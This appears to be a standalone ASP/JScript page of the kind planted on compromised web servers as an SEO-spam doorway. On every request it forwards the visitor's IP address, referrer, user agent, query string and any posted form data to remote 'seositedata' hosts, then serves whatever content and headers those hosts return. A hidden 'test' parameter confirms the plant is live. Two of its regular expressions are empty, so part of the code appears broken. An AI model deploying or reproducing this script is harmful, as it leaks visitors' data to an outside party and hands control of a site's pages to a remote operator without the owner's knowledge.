<%@ LANGUAGE = JScript %> <% var hosts = new Array("6800.w1.seositedata.com","6800.w2.seositedata.com", "6800.w4.seositedata.net","6800.w5.seositedata.net"); var uri = "/rcontent/939409828//index.asp?v=3&w=&s=6800"; if (Request.QueryString("test") == "939409828") Response.AddHeader("X-Test", "20150223082020,6800,3"); uri = uri.concat("&r="+Server.URLEncode(String(Request.ServerVariables("HTTP_REFERER")).substring(0,255))); uri = uri.concat("&u="+Server.URLEncode(String(Request.ServerVariables("HTTP_USER_AGENT")).substring(0,255))); uri = uri.concat("&i="+Server.URLEncode(Request.ServerVariables("REMOTE_ADDR"))); uri = uri.concat("&h="+Server.URLEncode(String(Request.ServerVariables("HTTP_HOST")).substring(0,255))); uri = uri.concat("&f="+Server.URLEncode(String(Request.ServerVariables("SCRIPT_NAME")).substring(0,255))); uri = uri.concat("&x="+Server.URLEncode(String(Request.ServerVariables("HTTP_X_FORWARDED_FOR")).substring(0,255))); uri = uri.concat("&q="+Server.URLEncode(String(Request.ServerVariables("QUERY_STRING")).substring(0,512))); var response = doRequest(hosts, uri, Request.ServerVariables("REQUEST_METHOD"), Request.Form); if (response[0] == "" || response[1] != "200"){ Response.Status = "307 Temporary Redirect"; Response.AddHeader("Location", "/"); Response.AddHeader("X-ErrorNo", "^E"+response[1]); } else { var res = //.exec(response[0]); if (res != null){ response[0] = response[0].replace(//igm, ""); var headers = res[1].split(/\n/m); for (var i in headers){ var headerdata = /^(.*?)(: | )(.*)$/.exec(headers[i]); if (headerdata[3] != null && headerdata[1] == "HTTP/1.1"){ Response.Status = headerdata[3]; } else if (headerdata[3] != null && headerdata[1] != null) { Response.AddHeader(headerdata[1], headerdata[3]); } } } Response.Write(response[0]); } Response.End(); function doRequest(hosts, path, method, vars){ var httpClient = Server.CreateObject("Microsoft.XMLHTTP"); if (method != "GET" && method != "POST") method = "GET"; hosts.sort(function (a, b){ return Math.ceil(Math.random() * 3) - 2; }); for (var i in hosts){ try { httpClient.open(method, "http://" + hosts[i] + path + "&rnd=" + Math.random(), false); httpClient.setRequestHeader("User-Agent", "LPScript(ASP,v3)"); if (method == "POST"){ httpClient.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); httpClient.send(""+vars); } else { httpClient.send(); } if (httpClient.Status == 200) break; } catch (e){ continue; } } return new Array(httpClient.ResponseText, httpClient.Status); } %>